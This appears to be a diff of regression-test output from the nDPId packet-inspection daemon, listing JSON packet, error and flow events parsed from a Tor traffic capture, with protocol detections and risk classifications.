00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":89,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":90,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821680212883} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821680212883,"packet_id":90,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821680212883} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":90,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":91,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821682212886} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821682212886,"packet_id":91,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821682212886} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":91,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":92,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821684212907} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821684212907,"packet_id":92,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821684212907} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":92,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":93,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821686212924} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821686212924,"packet_id":93,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821686212924} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":93,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":94,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821688212902} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821688212902,"packet_id":94,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821688212902} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":94,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":95,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821690212928} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821690212928,"packet_id":95,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821690212928} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":95,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":96,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821692212907} -00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":96,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00753{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821693159821,"flow_src_last_pkt_time":1383821693159821,"flow_dst_last_pkt_time":1383821693159821,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":210,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":210,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":210,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821693159821,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00779{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":1383821693159821,"flow_dst_last_pkt_time":1383821693159821,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"thread_ts_usec":1383821693159821,"pkt":"\/\/\/\/\/\/\/\/UlQAWul3CABFAADuA4EAAIARsTLAqAH8wKgB\/wCKAIoA2itVEQLJT8CoAfwAigDEAAAgRUZFT0VFRUpFQkVPQ05GQUVEQ0FDQUNBQ0FDQUNBQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAKgAAAAAAAAAAAOgDAAAAAAAAAAAqAFYAAwABAAEAAgA7AFxNQUlMU0xPVFxCUk9XU0UADACguw0AV09SS0dST1VQAAAAAAAAAAMKABAAgP4HAABFTkRJQU4tUEMA"} 01011{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821693159821,"flow_src_last_pkt_time":1383821693159821,"flow_dst_last_pkt_time":1383821693159821,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":210,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":210,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":210,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821693159821,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System","hostname":"endian-pc"}} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":98,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821694212894} -00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":98,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821693159821,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":99,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821696212907} -00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":99,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821693159821,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":100,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821698212898} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":100,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821693159821,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":101,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821700216949} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":101,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821693159821,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":102,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821702213488} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":102,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821693159821,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00692{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_src_last_pkt_time":1383821703288336,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"thread_ts_usec":1383821703288336,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":111,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821704212955} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":111,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821703723048,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 02526{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":117,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1383821668403824,"flow_src_last_pkt_time":1383821704424659,"flow_dst_last_pkt_time":1383821704566665,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":4598,"flow_dst_tot_l4_payload_len":5464,"midstream":0,"thread_ts_usec":1383821704566665,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":113,"avg":2328505.8,"max":31166013,"stddev":7549668.5,"var":56997495963648.0,"ent":1.9,"data": [143824,144206,386,152663,157,159633,171698,164686,190851,113,190713,627,185098,185495,145105,5747,151688,184201,104686,289985,146556,2535956,2930532,30770666,31166013,871,147027,185685,696487,885191,147130]},"pktlen": {"min":40,"avg":355.8,"max":1500,"stddev":354.9,"var":125974.5,"ent":4.3,"data": [52,52,46,264,40,969,238,99,114,1500,126,46,626,40,626,40,626,626,40,626,626,40,626,46,626,40,626,626,40,626,626,40]},"bins": {"c_to_s": [4,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1],"entropies": [4.463158131,4.830034256,4.398030758,5.447000027,4.784183979,7.571198463,6.865525723,5.932188988,6.092850685,7.880095005,6.536722183,4.338141918,7.694956303,4.765311718,7.651318550,4.834183693,7.635929585,7.668802738,4.680641174,7.700941086,7.633764267,4.834183693,7.670955658,4.311074257,7.633520603,4.630640984,7.649660587,7.669915199,4.784183979,7.648267269,7.643295765,4.684184074]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} 02276{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":124,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1383821665420161,"flow_src_last_pkt_time":1383821704889950,"flow_dst_last_pkt_time":1383821704958016,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":3939,"flow_dst_tot_l4_payload_len":9093,"midstream":0,"thread_ts_usec":1383821704958016,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":120,"avg":2548633.8,"max":37995839,"stddev":9273754.0,"var":86002509021184.0,"ent":1.4,"data": [70996,71325,6669,104314,10783,112643,88567,84606,73691,120,73665,754,108431,107711,67797,2260,74630,103567,101811,113368,368689,686539,37720424,37995839,68191,67504,104050,189003,360821,68695,181]},"pktlen": {"min":40,"avg":448.8,"max":1500,"stddev":476.2,"var":226793.4,"ent":4.2,"data": [52,52,46,255,40,788,174,99,114,1500,142,46,626,40,626,40,626,626,626,626,40,626,46,626,40,626,40,626,1500,46,1500,1500]},"bins": {"c_to_s": [5,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [7,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,1],"entropies": [4.540081501,4.945419312,4.484987259,5.397112370,4.884183884,7.396267891,6.599942207,5.960015774,6.090528011,7.870100975,6.529747963,4.484987259,7.677678108,4.884183884,7.605023384,4.884183884,7.649974346,7.648893833,7.709483624,7.672764301,4.834183693,7.653419495,4.441509247,7.662259102,4.884183884,7.661063194,4.884183884,7.656208992,7.855939388,4.484987259,7.873313904,7.885534286]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":156,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821706213267} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":156,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821706194070,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":185,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821708213145} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":185,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821708161244,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":202,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821710212920} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":202,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821709736596,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":203,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821712212949} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":203,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821709736596,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":214,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821714212940} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":214,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821713855554,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":215,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821716213464} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":215,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821713855554,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":220,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821718212953} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":220,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821716551362,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":221,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821720213004} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":221,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821716551362,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":222,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821722213011} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":222,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821716551362,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":227,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821724212938} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":227,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821723995239,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":232,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821726212962} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":232,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821725008865,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":271,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821728213042} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":271,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821728040828,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":356,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821730212988} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":356,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821730181680,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":541,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821732212991} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":541,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821732198673,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 